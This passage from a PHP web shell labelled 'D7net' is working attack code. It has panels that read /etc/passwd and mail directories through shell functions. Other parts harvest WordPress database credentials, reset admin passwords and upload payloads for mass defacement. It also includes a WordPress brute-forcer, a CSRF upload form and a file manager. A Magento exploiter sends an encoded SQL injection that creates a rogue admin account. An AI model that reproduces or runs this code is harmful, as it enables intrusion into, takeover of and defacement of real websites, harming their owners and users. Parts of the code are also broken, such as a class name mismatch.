echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
echo "</textarea><br>";
}
if ($_POST['systuser']) {
echo"<textarea class='inputzbut' style='border-color=white;' cols='65' rows='15'>";
echo system("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['passthuser']) {
echo"<textarea class='inputzbut' style='border-color=white;' cols='65' rows='15'>";
echo passthru("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['exuser']) {
echo"<textarea class='inputzbut' style='border-color=white;' cols='65' rows='15'>";
echo exec("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['shexuser']) {
echo"<textarea class='inputzbut' style='border-color=white;' cols='65' rows='15'>";
echo shell_exec("ls /var/mail");
echo "</textarea><br>";
}
if($_POST['syst'])
{
echo"<textarea class='inputz' style='border-color=white;' cols='65' rows='15'>";
echo system("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['passth'])
{
echo"<textarea class='inputz' style='border-color=white;' cols='65' rows='15'>";
echo passthru("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['ex'])
{
echo"<textarea class='inputz' style='border-color=white;' cols='65' rows='15'>";
echo exec("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['shex'])
{
echo"<textarea class='inputz' style='border-color=white;' cols='65' rows='15'>";
echo shell_exec("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
echo '<center>';
if($_POST['d7net'])
{
echo"<textarea class='inputz' style='border-color=white;' cols='65' rows='15'>";
for($uid=0;$uid<60000;$uid++){ 
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "\
";
}
}
echo"</textarea><br><br>";
}
//

//
} elseif($_GET['D7net'] == 'auto_dwp') {
    if($_POST['auto_deface_wp']) {
        function anucurl($sites) {
            $ch = curl_init($sites);
                  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
                  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
                  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                  curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIESESSION, true);
            $data = curl_exec($ch);
                  curl_close($ch);
            return $data;
        }
        function lohgin($cek, $web, $userr, $pass, $wp_submit) {
            $post = array(
                   "log" => "$userr",
                   "pwd" => "$pass",
                   "rememberme" => "forever",
                   "wp-submit" => "$wp_submit",
                   "redirect_to" => "$web",
                   "testcookie" => "1",
                   );
            $ch = curl_init($cek);
                  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
                  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                  curl_setopt($ch, CURLOPT_POST, 1);
                  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
                  curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIESESSION, true);
            $data = curl_exec($ch);
                  curl_close($ch);
            return $data;
        }
        $scan = $_POST['link_config'];
        $link_config = scandir($scan);
        $script = htmlspecialchars($_POST['script']);
        $user = "Desktop77N3T";
        $pass = "Desktop77N3T";
        $passx = md5($pass);
        foreach($link_config as $dir_config) {
            if(!is_file("$scan/$dir_config")) continue;
            $config = file_get_contents("$scan/$dir_config");
            if(preg_match("/WordPress/", $config)) {
                $dbhost = ambilkata($config,"DB_HOST', '","'");
                $dbuser = ambilkata($config,"DB_USER', '","'");
                $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
                $dbname = ambilkata($config,"DB_NAME', '","'");
                $dbprefix = ambilkata($config,"table_prefix  = '","'");
                $prefix = $dbprefix."users";
                $option = $dbprefix."options";
                $conn = mysql_connect($dbhost,$dbuser,$dbpass);
                $db = mysql_select_db($dbname);
                $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
                $result = mysql_fetch_array($q);
                $id = $result[ID];
                $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
                $result2 = mysql_fetch_array($q2);
                $target = $result2[option_value];
                if($target == '') {                 
                    echo "[-] <font color=red>error, gabisa ambil nama domain nya cok !!</font><br>";
                } else {
                    echo "[+] $target <br>";
                }
                $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
                if(!$conn OR !$db OR !$update) {
                    echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
                    mysql_close($conn);
                } else {
                    $site = "$target/wp-login.php";
                    $site2 = "$target/wp-admin/theme-install.php?upload";
                    $b1 = anucurl($site2);
                    $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
                    $b = lohgin($site, $site2, $user, $pass, $wp_sub);
                    $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
                    $upload3 = base64_decode("YmVyYW5kYWxfdGFtdmFuIDpQ");
                    $www = "m.php";
                    $fp5 = fopen($www,"w");
                    fputs($fp5,$upload3);
                    $post2 = array(
                            "_wpnonce" => "$anu2",
                            "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
                            "themezip" => "@$www",
                            "install-theme-submit" => "Install Now",
                            );
                    $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
                          curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                          curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                          curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                          curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                          curl_setopt($ch, CURLOPT_POST, 1);
                          curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
                          curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
                          curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
                          curl_setopt($ch, CURLOPT_COOKIESESSION, true);
                    $data3 = curl_exec($ch);
                          curl_close($ch);
                    $y = date("Y");
                    $m = date("m");
                    $namafile = "id.php";
                    $fpi = fopen($namafile,"w");
                    fputs($fpi,$script);
                    $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
                           curl_setopt($ch6, CURLOPT_POST, true);
                           curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
                           curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
                           curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
                           curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
                           curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
                    $postResult = curl_exec($ch6);
                           curl_close($ch6);
                    $as = "$target/k.php";
                    $bs = anucurl($as);
                    if(preg_match("#$script#is", $bs)) {
                        echo "[+] <font color='white'>Sukse Mass, Jancok!</font><br>";
                        echo "[+] <a href='$as' target='_blank'>$as</a><br><br>"; 
                        } else {
                        echo "[-] <font color='red'>Gagal Mass, Asu!</font><br>";
                        echo "[!!] coba aja manual: <br>";
                        echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
                        echo "[+] username: <font color=white>$user</font><br>";
                        echo "[+] password: <font color=white>$pass</font><br><br>";     
                        }
                    mysql_close($conn);
                }
            }
        }
    } else {
        echo "<center class='mybox'><h1>WordPress Auto Deface</h1><hr color='white'><br>
        <form method='post'>
        <input type='text' style='border-color=white;' name='link_config' size='50' height='10' value='$dir'><br><br>
        <input type='text' style='border-color=white;' name='script' height='10' size='50' placeholder='Hacked' required><br><br>
        <input type='submit' style='width: 60px; text-align:center; border-color=white' name='auto_deface_wp' class='kotak' value='SIKAT!'><br>
        </form>
        <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/d7net_config )</span>
        </center>";
    }
} elseif($_GET['D7net'] == 'auto_dwp2') {
    if($_POST['auto_deface_wp']) {
        function anucurl($sites) {
            $ch = curl_init($sites);
                  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
                  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
                  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                  curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIESESSION,true);
            $data = curl_exec($ch);
                  curl_close($ch);
            return $data;
        }
        function lohgin($cek, $web, $userr, $pass, $wp_submit) {
            $post = array(
                   "log" => "$userr",
                   "pwd" => "$pass",
                   "rememberme" => "forever",
                   "wp-submit" => "$wp_submit",
                   "redirect_to" => "$web",
                   "testcookie" => "1",
                   );
            $ch = curl_init($cek);
                  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
                  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                  curl_setopt($ch, CURLOPT_POST, 1);
                  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
                  curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
                  curl_setopt($ch, CURLOPT_COOKIESESSION, true);
            $data = curl_exec($ch);
                  curl_close($ch);
            return $data;
        }
        $link = explode("\
\
", $_POST['link']);
        $script = htmlspecialchars($_POST['script']);
        $user = "Desktop77N3T";
        $pass = "Desktop77N3T";
        $passx = md5($pass);
        foreach($link as $dir_config) {
            $config = anucurl($dir_config);
            $dbhost = ambilkata($config,"DB_HOST', '","'");
            $dbuser = ambilkata($config,"DB_USER', '","'");
            $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
            $dbname = ambilkata($config,"DB_NAME', '","'");
            $dbprefix = ambilkata($config,"table_prefix  = '","'");
            $prefix = $dbprefix."users";
            $option = $dbprefix."options";
            $conn = mysql_connect($dbhost,$dbuser,$dbpass);
            $db = mysql_select_db($dbname);
            $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
            $result = mysql_fetch_array($q);
            $id = $result[ID];
            $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
            $result2 = mysql_fetch_array($q2);
            $target = $result2[option_value];
            if($target == '') {                 
                echo "[-] <font color=red>error, gabisa ambil nama domain nya cok !!</font><br>";
            } else {
                echo "[+] $target <br>";
            }
            $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
            if(!$conn OR !$db OR !$update) {
                echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
                mysql_close($conn);
            } else {
                $site = "$target/wp-login.php";
                $site2 = "$target/wp-admin/theme-install.php?upload";
                $b1 = anucurl($site2);
                $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
                $b = lohgin($site, $site2, $user, $pass, $wp_sub);
                $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
                $upload3 = base64_decode("YmVyYW5kYWxfdGFtdmFuIDpQ");
                $www = "m.php";
                $fp5 = fopen($www,"w");
                fputs($fp5,$upload3);
                $post2 = array(
                        "_wpnonce" => "$anu2",
                        "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
                        "themezip" => "@$www",
                        "install-theme-submit" => "Install Now",
                        );
                $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
                      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                      curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                      curl_setopt($ch, CURLOPT_POST, 1);
                      curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
                      curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
                      curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
                      curl_setopt($ch, CURLOPT_COOKIESESSION, true);
                $data3 = curl_exec($ch);
                      curl_close($ch);
                $y = date("Y");
                $m = date("m");
                $namafile = "os.php";
                $fpi = fopen($namafile,"w");
                fputs($fpi,$script);
                $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
                       curl_setopt($ch6, CURLOPT_POST, true);
                       curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
                       curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
                       curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
                       curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
                       curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
                $postResult = curl_exec($ch6);
                       curl_close($ch6);
                $as = "$target/as.php";
                $bs = anucurl($as);
                if(preg_match("#$script#is", $bs)) {
                    echo "[+] <font color='white'>Sukses mepes, COK!</font><br>";
                    echo "[+] <a href='$as' target='_blank'>$as</a><br><br>"; 
                    } else {
                    echo "[-] <font color='red'>gagal mepes cok!!</font><br>";
                    echo "[!!] coba aja manual: <br>";
                    echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
                    echo "[+] username: <font color=white>$user</font><br>";
                    echo "[+] password: <font color=white>$pass</font><br><br>";     
                    }
                mysql_close($conn);
            }
        }
    } else {
        echo "<center class='mybox'><h1>WordPress Auto Deface V.2</h1><hr color='white'><br>
        <form method='post'>
        Link Config: <br>
        <textarea name='link' style='border-color=white;' placeholder='http://target.com/d7net_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br><br>
        <input type='text' style='border-color=white;' name='script' height='10' size='60' placeholder='Hacked' required><br><br>
        <input type='submit' style='width: 450px; border-color=white' name='auto_deface_wp' class='kotak' value='SIKAT!'>
        </form></center>";
    }
} 
elseif($_GET['act'] == 'newfile') {
    if($_POST['new_save_file']) {
        $newfile = htmlspecialchars($_POST['newfile']);
        $fopen = fopen($newfile, "a+");
        if($fopen) {
            $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
        } else {
            $act = "<font color=red>Gak dibolehin, Jancok!</font>";
        }
    }
    echo $act;
    echo "<form method='post'><h1>New File</h1>
    Filename: <input type='text' name='newfile' value='$dir/d7net.php' style='width: 450px; border-color=white' height='10'>
    <input type='submit' name='new_save_file' style='border-color=white' class='kotak' value='SIKAT!'>
    </form>";
} elseif($_GET['act'] == 'newfolder') {
    if($_POST['new_save_folder']) {
        $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
        if(!mkdir($new_folder)) {
            $act = "<font color=red>Gak dibolehin, Jancok!</font>";
        } else {
            $act = "<script>window.location='?dir=".$dir."';</script>";
        }
    }
    echo $act;
    echo "<form method='post'><h1>New Dir</h1>
    Folder Name: <input type='text' name='newfolder' style='width: 450px; border-color=white' height='10'>
    <input type='submit' name='new_save_folder' style='border-color=white' class='kotak' value='SIKAT!'>
    </form>";
} elseif($_GET['act'] == 'rename_dir') {
    if($_POST['dir_rename']) {
        $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
        if($dir_rename) {
            $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
        } else {
            $act = "<font color=red>Gak dibolehin, Jancok!</font>";
        }
    echo "".$act."<br>";
    }
    echo "<form method='post'><h1>Rename Dir</h1>
    <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px; border-color=white' height='10'>
    <input type='submit' class='kotak' style='border-color=white' name='dir_rename' value='rename'>
    </form>";
} elseif($_GET['act'] == 'delete_dir') {
    function Delete($path)
{
    if (is_dir($path) === true)
    {
        $files = array_diff(scandir($path), array('.', '..'));
        foreach ($files as $file)
        {
            Delete(realpath($path) . '/' . $file);
        }
        return rmdir($path);
    }
    else if (is_file($path) === true)
    {
        return unlink($path);
    }
    return false;
}
    $delete_dir = Delete($dir);
    if($delete_dir) {
        $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
    } else {
        $act = "<font color=red>Gabisa dihapus nih :( ".basename($dir)."</font>";
    }
    echo $act;
} elseif($_GET['act'] == 'view') {
    echo "<br>Filename: <font color=white>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>View</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>Edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>Rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>Download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>Hapus</a> ]<br><br>";
    echo "<textarea style='border-color=white' readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br><br>";
} elseif($_GET['act'] == 'edit') {
    if($_POST['save']) {
        $save = file_put_contents($_GET['file'], $_POST['src']);
        if($save) {
            $act = "<font color=white>Save Done !</font>";
        } else {
            $act = "<font color=red>Failed !</font>";
        }
    echo "".$act."<br>";
    }
    echo "<br>Filename: <font color=white>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>View</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>Edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>Rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>Download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>Hapus</a> ]<br><br>";
    echo "<form method='post'>
    <textarea style='border-color=white' name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br><br>
    <input type='submit' class='kotak' value='Save' name='save' style='border-color=red'>
    </form>";
} elseif($_GET['act'] == 'rename') {
    if($_POST['do_rename']) {
        $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
        if($rename) {
            $act = "<script>window.location='?dir=".$dir."';</script>";
        } else {
            $act = "<font color=red>Failed !</font>";
        }
    echo "".$act."<br>";
    }
    echo "<h1>Rename</h1>";
    echo "<br>Filename: <font color=white>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>View</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>Edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>Download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>Hapus</a> ]<br><br><br>";
    echo "<form method='post'>
    <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px; border-color=white' height='10'>
    <input type='submit' class='kotak' style='border-color=white' name='do_rename' value='Rename'>
    </form><br>";
} 
elseif($_GET['D7net'] == 'csrf') {
    echo "<div style='text-align: left;' class='mybox'>
    <h1>CSRF Exploiter Online</h1><hr color='white'>
    <form method='post'>
URL: &nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<input type='text' style='border:0;border-bottom:1px solid #292929; width:500px;' name='url' size='50' height='10' placeholder='http://target.com/[path]/upload.php' style='margin: 5px auto; padding-left: 5px;' required><br>
POST File: <input type='text' name='data' style='border:0;border-bottom:1px solid #292929; width:500px;' size='50' height='10' placeholder='Filedata / files[] / qqfile / userfile / dll' style='margin: 5px auto; padding-left: 5px;' required><br>
<br><input style='width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;' class='kotak' type='submit' name='go' value='Lock!'>
</form></div>";
$url = $_POST['url'];
$data = $_POST['data'];
$submit = $_POST['go'];
if($submit) {
    echo "<br><form style='text-align:left' method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$data'><input style='width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;' type='submit' name='ok' class='kotak' value='Upload'>
    </form></div>";
}

    ;}
elseif($_GET['D7net'] == 'about') {
    echo "<link href='http://fonts.googleapis.com/css?family=Iceberg' rel='stylesheet' type='text/css'>";
    echo '<Center style="color:white">
        <font size="5pt" face="papyrus"></font>D7<font color="red">net</font></font><br><br>Thanks To :<br>
        <font size="4pt" face="papyrus"><marquee width="40%">D704T | IndoXploit | B374k | Xai Syndicate | Owl Squad</marquee></font>
        </center>
<br><br>
</font>
';
echo "<hr color='red'>";
echo "Kunjungi ~> <a href='http://www.awesome-exploits.info/' target='blank'>Website</a>";
}
elseif($_GET['D7net'] == 'wpbrute') {
    set_time_limit(0);
error_reporting(0);
class Desktop77N3T{
        private $host;
        private $user;
        private $open;
        private $list;
public function banner() {
   echo "<div class='mybox' style='text-align:left'>
    <h1>WordPress Brute Force</h1><hr color='white'>
    <form action='' method='POST'>
    Host<input type='text' name='host' style='border:0;border-bottom:1px solid #292929; width:500px;' placeholder='http://site.com/' size='40'><br><br>
    User<input type='text' name='user' style='border:0;border-bottom:1px solid #292929; width:500px;' value='admin' size='25'><br><br>
    Wordlist: 
    <textarea class='mybox' rows='10' style='border-color:#292929;' name='list'></textarea><br>Need more? <a href='http://pastebin.com/u/d7net' target='blank'>Click here</a>.<br>
    <input type='Submit' class='kotak' style='width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;' value='Start'>
    </form></div>
    ";

}
 
    public function extract_post() {
         $this->host = $_POST["host"];
         $this->user = $_POST["user"];
         $this->open = $_POST["list"];
       }
 
       public function Xregex() {
         if(preg_match("@/wp-login.php@", $this->host)) {
             return true;
         } else {
            $this->host = $_POST["host"]."/wp-login.php";
         }
     }
 
      public function brute() {
           $list = array_filter(explode("\
", $this->open));
           foreach($list as $this->list) {
           for($i=0; $i < count($this->list); $i++) {
                        $this->Xcurl();
                     }
              }
       }
 
        private function cool() {
            echo "[+] Host:"."<font color='black'>{$this->host}</font>";
            echo " <br/>[+] User:"."<font color='black'>{$this->user}</font>";
            echo " <br/>[+] Pass:"."<font color='black'>{$this->list}</font>";
        }
 
        private function Xcurl() {
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $this->host);
            curl_setopt($curl, CURLOPT_USERAGENT, $this->useragent);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);
            curl_setopt($curl, CURLOPT_POST, true);
            curl_setopt($curl, CURLOPT_POSTFIELDS, "log=$this->user&pwd=$this->list&wp-submit=Login&redirect_to=$this->host/wp-admin/");
            $exec = curl_exec($curl);
            $http = curl_getinfo($curl, CURLINFO_HTTP_CODE);
            $this->cool();
            if($http == 302) {
                 echo "<font color='#00FF00'> <br/>[+] Sukses! [+] Tinggal Login Aja</font><br>";
                 break;
            } else {
                echo "<font color='white'><br/>[+] Ggal Jancok! -_-</font><br>";
            }
                curl_close($curl);
        }
}
 
$wp = new d7net();
$wp->useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0";
$wp->banner();
$wp->extract_post();
$wp->Xregex();
$wp->brute();
    }
elseif($_GET['D7net'] == 'magento') {
 echo '<div class="mybox"><h1>Magento Auto Exploiter</h1>
<form method="post" action="">
<textarea placeholder="http://site.com/" class="mybox" rows="10" name="target" required></textarea><br><br>
<input class="kotak" type=submit name=submit value="Start"><br>
</form></div>';
error_reporting(0);
set_time_limit(0);

function bersihkan($htmltags) {
    $htmltags = str_replace('<span class="price">','',$htmltags);
    $htmltags = str_replace('</span>','',$htmltags);
    return $htmltags;
    
}

///postdata
$postadm = "filter=cG9wdWxhcml0eVtmcm9tXT0wJnBvcHVsYXJpdHlbdG9dPTMmcG9wdWxhcml0eVtmaWVsZF9leHByXT0wKTtTRVQgQFNBTFQgPSAncnAnO1NFVCBAUEFTUyA9IENPTkNBVChNRDUoQ09OQ0FUKCBAU0FMVCAsICdzdHVwaWQ0OCcpICksIENPTkNBVCgnOicsIEBTQUxUICkpO1NFTEVDVCBARVhUUkEgOj0gTUFYKGV4dHJhKSBGUk9NIGFkbWluX3VzZXIgV0hFUkUgZXh0cmEgSVMgTk9UIE5VTEw7SU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgZmlyc3RuYW1lYCwgYGxhc3RuYW1lYCxgZW1haWxgLGB1c2VybmFtZWAsYHBhc3N3b3JkYCxgY3JlYXRlZGAsYGxvZ251bWAsYHJlbG9hZF9hY2xfZmxhZ2AsYGlzX2FjdGl2ZWAsYGV4dHJhYCxgcnBfdG9rZW5gLGBycF90b2tlbl9jcmVhdGVkX2F0YCkgVkFMVUVTICgnRmlyc3RuYW1lJywnTGFzdG5hbWUnLCdlbWFpbEBleGFtcGxlLmNvbScsJ3N0dXBpZCcsQFBBU1MsTk9XKCksMCwwLDEsQEVYVFJBLE5VTEwsIE5PVygpKTtJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKHBhcmVudF9pZCx0cmVlX2xldmVsLHNvcnRfb3JkZXIscm9sZV90eXBlLHVzZXJfaWQscm9sZV9uYW1lKSBWQUxVRVMgKDEsMiwwLCdVJywoU0VMRUNUIHVzZXJfaWQgRlJPTSBhZG1pbl91c2VyIFdIRVJFIHVzZXJuYW1lID0gJ3N0dXBpZCcpLCdGaXJzdG5hbWUnKTs%3D&___directive=e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ&forwarded=1";
$postlog = "form_key=3ryAIBlm7bJ3naj9&login%5Busername%5D=owlsquad&login%5Bpassword%5D=owlsquad";
$postdwn = "username=owlsquad&password=owlsquad";
$pageadm = "/admin/Cms_Wysiwyg/directive/index/";
$pagelog = "/admin/";
$pagedwn = "/downloader/";

function d7net_CURL($url,$data,$page) {
$ch = curl_init(); 
curl_setopt ($ch, CURLOPT_URL, $url.$page); 
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"); 
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt ($ch, CURLOPT_POSTFIELDS, $data); 
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_POST, 1); 
$headers  = array();
$headers[] = 'Content-Type: application/x-www-form-urlencoded';

curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt ($ch, CURLOPT_HEADER, 1);
$result = curl_exec ($ch);
curl_close($ch);
return $result;
}
print $banner;

if(isset($_POST['target'])){
$j=explode("\
\
",$_POST['target']);
foreach($j as $site){ 

    echo'<div class="mybox"><font color="white">';
print "Checking, Please wait!
<br>";
echo'</font>';
$sikat = d7net_CURL($site , $postadm, $pageadm);

if(preg_match('#200 OK#', $sikat)) {
    $expres = "Success";
    $ceklog = d7net_CURL($site , $postlog, $pagelog);
    
if(preg_match('#302 Moved#', $ceklog)) {
    preg_match_all('#<span>(.*?)</span>#si', $ceklog, $match);
    foreach($match as $val)
    {
    $ltm = $val[0];
    $avo = $val[1];
    break;
    }
    $admlog = "Sukses!";
    $user = "d7net";
    $pass = "d7net";
    $cekdwn = d7net_CURL($site , $postdwn, $pagedwn);
    if(preg_match('#Return to Admin#', $cekdwn)) {
    $dwnlog = "Login Sukses!";
}else {
    $dwnlog = "Login Gagal anjg!";
}
}else {
    $admlog = "Gagal!";
    $user = "NULL";
    $pass = "NULL";
}
}else {
    $admlog = "Gagal!";
    $expres = "Gagal!";
    $user = "NULL";
    $pass = "NULL";
    $dwnlog = "Login Gagal Anjg!";
    $ltm = "NULL";
    $avo = "NULL";
}

///echo result
$logger = '
<br>
    <font color="white">
    <h4>[ '.$site.' ]</h4></font><br>
    Exploiting  : <font color="lime">'.$expres.'</font><br>
    Login Admin : <font color="lime">'.$admlog.'</font><br>
    Lifetime Sales: <font color="gold">'.bersihkan($ltm).'</font><br>
    Average Order   : <font color="gold">'.bersihkan($avo).'</font><br>
    Downloader  : <font color="white">'.$dwnlog.'</font><br>
    Username    :<font color="cyan"><b> '.$user.'</font></b><br>
    Password    :<font color="cyan"><b> '.$pass.'</font></b><br>
    </div>';
    echo $logger;
///diilangin
}
}
}
elseif($_GET['D7net'] == 'mass_deface') {
	echo "<center><form action=\"\" method=\"post\">
";
	$dirr=$_POST['d_dir'];
	$index = $_POST["script"];
	$index = str_replace('"',"'",$index);
	$index = stripslashes($index);
	function edit_file($file,$index){
		if (is_writable($file)) {
		clear_fill($file,$index);
		echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
		} 
		else {
